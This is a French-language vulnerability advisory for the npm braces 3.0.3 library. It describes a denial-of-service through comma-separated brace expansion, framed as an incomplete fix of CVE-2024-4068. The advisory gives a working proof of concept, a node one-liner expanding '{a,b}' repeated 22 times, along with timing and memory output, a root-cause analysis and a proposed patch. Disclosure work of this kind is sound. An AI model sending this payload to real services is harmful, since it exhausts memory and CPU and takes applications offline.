
CVE-Candidate : DoS dans [email protected] via l'expansion d'accolades séparées par des virgules (correctif incomplet de CVE-2024-4068)
Paquet : braces (npm) Version : 3.0.3 (dernière) Sévérité : ÉLEVÉE (CVSS 7.5) CWE : CWE-400 Consommation incontrôlée de ressources Statut : Non signalé
Remarque : Il s'agit d'une découverte indépendante. CVE-2024-4068 a traité la limitation de la longueur d'entrée (MAX_LENGTH=10000) mais n'a pas corrigé l'explosion combinatoire de la sortie des motifs d'accolades séparés par des virgules. CVE-2026-45149 affecte un paquet différent (
juliangruber/brace-expansion), pasmicromatch/braces.
La bibliothèque braces est vulnérable à un déni de service par consommation incontrôlée de ressources lors du traitement de motifs d'expansion d'accolades séparés par des virgules.
Une entrée malveillante d'à peine 110 caractères amène la bibliothèque à matérialiser 4,2 millions d'éléments en mémoire, consommant plus de 1,2 Go de RAM et bloquant le processeur pendant 9 à 30 secondes (selon le matériel).
Il s'agit d'un correctif incomplet pour CVE-2024-4068. Le correctif d'origine limitait la longueur d'entrée à 10 000 caractères mais ne limitait pas la sortie combinatoire des expansions séparées par des virgules.
braces est une dépendance de micromatch, qui est utilisé par :
Toute application qui transmet une entrée contrôlée par l'utilisateur à braces.expand() est vulnérable.
Dans lib/expand.js, la protection rangeLimit ne vérifie que les plages numériques ({1..1000}), pas les motifs séparés par des virgules ({a,b}) :
// lib/expand.js:57
if (node.ranges > 0) { // only numeric ranges are checked
if (utils.exceedsLimit(...args, options.step, rangeLimit)) {
throw new RangeError('...');
}
}
// Comma-separated expansions skip this check entirely
La fonction append() construit récursivement toutes les combinaisons 2^N dans un tableau sans limite de sortie.
mkdir braces-test && cd braces-test
npm init -y && npm install [email protected]
node -e "
const braces = require('braces');
const input = '{a,b}'.repeat(22);
console.time('expand');
const result = braces.expand(input);
console.timeEnd('expand');
console.log('Items:', result.length.toLocaleString());
"
# Install dependency first
npm install [email protected]
python3 poc_braces_dos.py
Les nombres d'éléments sont déterministes. Le temps et la mémoire varient selon le matériel.
======================================================================
PoC: braces 3.0.3 Denial of Service
CVE-CANDIDATE: CVE-2024-4068 incomplete fix
======================================================================
[*] Finding DoS threshold...
n=10: input= 50 chars -> 1,024 items, 4,096 chars, 11ms, +912KB
n=15: input= 75 chars -> 32,768 items, 163,840 chars, 96ms, +15915KB
n=18: input= 90 chars -> 262,144 items, 1,310,720 chars, 737ms, +115535KB
n=20: input= 100 chars -> 1,048,576 items, 5,242,880 chars, 1833ms, +242558KB
n=22: input= 110 chars -> 4,194,304 items, 20,971,520 chars, 9723ms, +1196410KB
n=25: TIMEOUT/OOM
[*] Conclusion:
- Input size: 110 characters (well within the 10,000 character limit)
- Memory consumption: >1.2GB
- CPU block time: ~10 seconds
braces.expand(input)
-> lib/expand.js:walk()
-> lib/expand.js:append() <- no output limit
-> recursively builds all 2^N combinations
-> returns massive array
Ajoutez une vérification de limite à chaque étape de concaténation dans lib/expand.js pour empêcher l'explosion combinatoire. Enveloppez les appels à append dans walk() avec un assistant de validation :
const queueLimit = (queue, stash, enclose) => {
if (rangeLimit === Infinity) return append(queue, stash, enclose);
const queueLength = queue ? [].concat(queue).length : 0;
const stashLength = [].concat(stash).length;
const nextLength = queueLength === 0 ? stashLength : (stashLength === 0 ? queueLength : queueLength * stashLength);
if (nextLength > rangeLimit) {
throw new RangeError('expanded array length exceeds range limit. Use options.rangeLimit to increase or disable the limit.');
}
return append(queue, stash, enclose);
};
Le remplacement des appels à append() dans walk() par queueLimit() garantit que les combinaisons d'accolades et de plages consécutives sont correctement bornées.
| Date | Événement |
|---|---|
| 2026-07-17 | Vulnérabilité découverte |
| 2026-07-21 | Divulgation publique (divulgation responsable pas encore initiée) |
Découverte par cyeezy08.
| Entrée (caractères) | Éléments de sortie | Temps (approx.) | Mémoire (approx.) |
|---|
| 50 | 1,024 | ~10ms | ~1MB |
| 75 | 32,768 | ~100ms | ~16MB |
| 90 | 262,144 | ~700ms | ~116MB |
| 100 | 1,048,576 | ~2-4s | ~243-468MB |
| 110 | 4,194,304 | ~10-30s | ~1.2GB+ |
| 125+ | Crash/OOM | Timeout | OOM Kill |
| Fichier | Description |
|---|
poc_braces_dos.py | Script PoC fonctionnel |
findings.md | Analyse détaillée de la vulnérabilité |
verdict.md | Confirmation et score CVSS |
disclosure-report.md | Avis prêt à soumettre |
patch.diff | Correctif proposé pour lib/expand.js |
email-draft.txt | Brouillon d'e-mail aux mainteneurs |